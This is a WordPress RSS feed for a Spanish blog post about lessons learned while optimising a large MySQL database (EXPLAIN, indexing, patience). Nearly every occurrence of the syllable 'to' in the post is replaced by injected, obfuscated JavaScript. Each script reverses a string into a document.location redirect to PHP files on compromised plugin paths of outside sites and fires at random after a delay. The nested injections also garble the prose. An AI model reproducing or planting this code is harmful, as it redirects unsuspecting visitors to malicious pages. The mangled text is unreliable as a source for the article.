<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>En la cabeza de un geek</title>
	<atom:link href="http://blog.climens.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.climens.net</link>
	<description>Sobre programación, tecnología, mundo geek y temas sueltos</description>
	<lastBuildDate>Sun, 16 Feb 2014 17:46:02 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.14</generator>
	<item>
		<title>8 lecciones aprendidas optimizando MySQL</title>
		<link>http://blog.climens.net/2011/12/21/8-lecciones-aprendidas-optimizando-mysql/</link>
					<comments>http://blog.climens.net/2011/12/21/8-lecciones-aprendidas-optimizando-mysql/#respond</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Wed, 21 Dec 2011 23:13:02 +0000</pubDate>
				<category><![CDATA[Programación]]></category>
		<guid isPermaLink="false">http://blog.climens.net/?p=466</guid>

					<description><![CDATA[Hace unas semanas estuve bastante entretenido optimizando una base de datoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos MySQL razonablemente grande, unos 18 millones de filas ocupando más de 10Gb de datoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos usada por un &#8230; <a href="http://blog.climens.net/2011/12/21/8-lecciones-aprendidas-optimizando-mysql/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Hace unas semanas estuve bastante entretenido optimizando una <a href="http://dev.mysql.com/" class="broken_link">base de da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos MySQL</a> razonablemente grande, unos 18 millones de filas ocupando más de 10Gb de da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos usada por un sitio web con un tráfico de más de 11 millones de visitas mensuales. No optimizar el rendimien<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to en este caso sería un grave error así que he aprendido y disfrutado mucho durante es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos días.</p>
<p>Lo primero que aprendí es que los <strong>servidores de base de da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos con bestias complejas</strong> –no las subestimes– y cada una de ellas tiene sus fortalezas pero tambien sus propios problemas.</p>
<p><img class="alignright" src="http://codelog.climens.net/files/2011/08/logo-mysql-110x57.png" alt="" width="110" height="110" />Más tarde o más temprano deberás enfrentarte a comportamien<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos que parecen completamente contraintuitivos y <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toca <strong>leer mucha documentación</strong> para comprender estas cosas. En este caso, <a href="http://www.mysqlperformanceblog.com/">MySQL Performance Blog</a> y la <a href="http://dev.mysql.com/doc/refman/5.5/en/" class="broken_link">documentación de MySQL</a> han sido de gran ayuda pero también <a href="http://hackmysql.com/">Hack MySQL</a> que, aunque ya no se actualiza ofrece muy buenos consejos bien explicados.</p>
<p>Como siemre, <strong>hacer el 80% de la optimización consume el 20% del tiempo</strong> porque suele ser relativamente sencilla. Hacer un <code>EXPLAIN</code>, ver los resultados, crear el índice adecuado y comprobar con <code>EXPLAIN</code> que funciona como debe. Con este esquema básico se puede hacer un buen trabajo simplemente sabiendo lo básico de indexación. Puede que no sean los índices más óptimos pero harán su trabajo.</p>
<p>Después <strong>tienes que ser paciente</strong>, crear índices no siempre es rápido. De hecho, el número, el tamaño y la heterogeneidad de las columnas afectadas aumentan el tiempo que se tarda en crear el índice. Mientras esperas lo mejor es leer buenos libros sobre MySQL o bases de da<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos relacionales como: <a href="http://www.amazon.com/gp/product/0471719994/ref=as_li_ss_tl?ie=UTF8&amp;tag=climecodel-20&amp;linkCode=as2&amp;camp=217145&amp;creative=399373&amp;creativeASIN=0471719994">Relational Database Index Design and the Optimizers</a>.</p>
<p><strong>Tienes que ser organizado</strong>. Crear índices alea<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toriamente simplemente mirando un par de <code>SELECT</code>s len<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos es algo, pero tienes que mirar con perspectiva: haz un inventario de <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todas las consultas de la aplicación, no importa lo poco importantes que parezcan porque si atacan a una tabla grande con un <code>WHERE</code> o un <code>ORDER BY</code> tendrán un rendimien<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to muy pobre. Esta lista te ayudará a organizar los índices y ver cuáles son usados y cuáles no y dónde.</p>
